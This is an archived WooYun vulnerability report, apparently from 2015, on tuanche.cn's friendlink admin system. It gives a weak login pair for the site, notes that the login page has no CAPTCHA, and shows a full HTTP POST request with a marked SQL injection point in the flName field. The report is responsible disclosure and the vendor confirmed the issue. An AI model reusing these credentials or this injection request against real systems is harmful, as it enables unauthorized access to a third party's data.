团车网某系统存在弱口令+SQL注射漏洞

编号139286
Urlhttp://www.wooyun.org/bug.php?action=view&id=139286
漏洞状态厂商已经确认
漏洞标题团车网某系统存在弱口令+SQL注射漏洞
漏洞类型SQL注射漏洞
厂商tuanche.cn
白帽子沦沦
提交日期2015-09-06 15:12:00
公开日期2015-10-21 16:18:00
修复时间(not set)
确认时间2015-09-06 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank1
漏洞简介
RT
漏洞细节

问题URL:http://friendlink.tuanche.cn/login
没加验证码可进行暴破
账号:zhangkai 密码:zhangkai

1.png


成功登入

1.1.png


查询的地方没进行过滤可注入

P_M3{%H~M_~GBSK]25SS_{B.png


POST /friendlink/list/ HTTP/1.1
Host: friendlink.tuanche.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://friendlink.tuanche.cn/friendlink/list/
Cookie: route=b5b5333556fa6659bfe91dcd849543f4; JSESSIONID=abcWdlcCCAVq15gZefH_u
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------317112827129879
Content-Length: 1980
-----------------------------317112827129879
Content-Disposition: form-data; name="flUrl"
-----------------------------317112827129879
Content-Disposition: form-data; name="flName"
1111*
-----------------------------317112827129879
Content-Disposition: form-data; name="flContacts"
-----------------------------317112827129879
Content-Disposition: form-data; name="url"
-----------------------------317112827129879
Content-Disposition: form-data; name="channel"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="cityId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="brandId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="styleId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="carId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="flType"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="startDate"
-----------------------------317112827129879
Content-Disposition: form-data; name="endDate"
-----------------------------317112827129879
Content-Disposition: form-data; name="userId"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="status"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------317112827129879
Content-Disposition: form-data; name="totalRows"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="pageSize"
10
-----------------------------317112827129879
Content-Disposition: form-data; name="cpage"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="selectpage"
10
-----------------------------317112827129879--


2.jpg


3.png


4.png

POC

问题URL:http://friendlink.tuanche.cn/login
没加验证码可进行暴破
账号:zhangkai 密码:zhangkai

1.png


成功登入

1.1.png


查询的地方没进行过滤可注入

P_M3{%H~M_~GBSK]25SS_{B.png


POST /friendlink/list/ HTTP/1.1
Host: friendlink.tuanche.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://friendlink.tuanche.cn/friendlink/list/
Cookie: route=b5b5333556fa6659bfe91dcd849543f4; JSESSIONID=abcWdlcCCAVq15gZefH_u
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------317112827129879
Content-Length: 1980
-----------------------------317112827129879
Content-Disposition: form-data; name="flUrl"
-----------------------------317112827129879
Content-Disposition: form-data; name="flName"
1111*
-----------------------------317112827129879
Content-Disposition: form-data; name="flContacts"
-----------------------------317112827129879
Content-Disposition: form-data; name="url"
-----------------------------317112827129879
Content-Disposition: form-data; name="channel"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="cityId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="brandId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="styleId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="carId"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="flType"
-1
-----------------------------317112827129879
Content-Disposition: form-data; name="startDate"
-----------------------------317112827129879
Content-Disposition: form-data; name="endDate"
-----------------------------317112827129879
Content-Disposition: form-data; name="userId"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="status"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------317112827129879
Content-Disposition: form-data; name="totalRows"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="pageSize"
10
-----------------------------317112827129879
Content-Disposition: form-data; name="cpage"
0
-----------------------------317112827129879
Content-Disposition: form-data; name="selectpage"
10
-----------------------------317112827129879--


2.jpg


3.png


4.png

修复方案

加验证码改密码过滤SQL注入

状态信息 2015-09-06: 细节已通知厂商并且等待厂商处理中
2015-09-06: 厂商已经确认,细节仅向厂商公开
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开
厂商回复谢谢你通知,内网系统忘记关闭外部访问权限了。
回应信息危害等级:低漏洞Rank:1 确认时间:2015-09-06 16:16
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

@沦沦 同感,我也是醉了。。。

随风的风02015-09-17 14:20:00

@团车网 我也是对你醉了

沦沦02015-09-06 16:20:00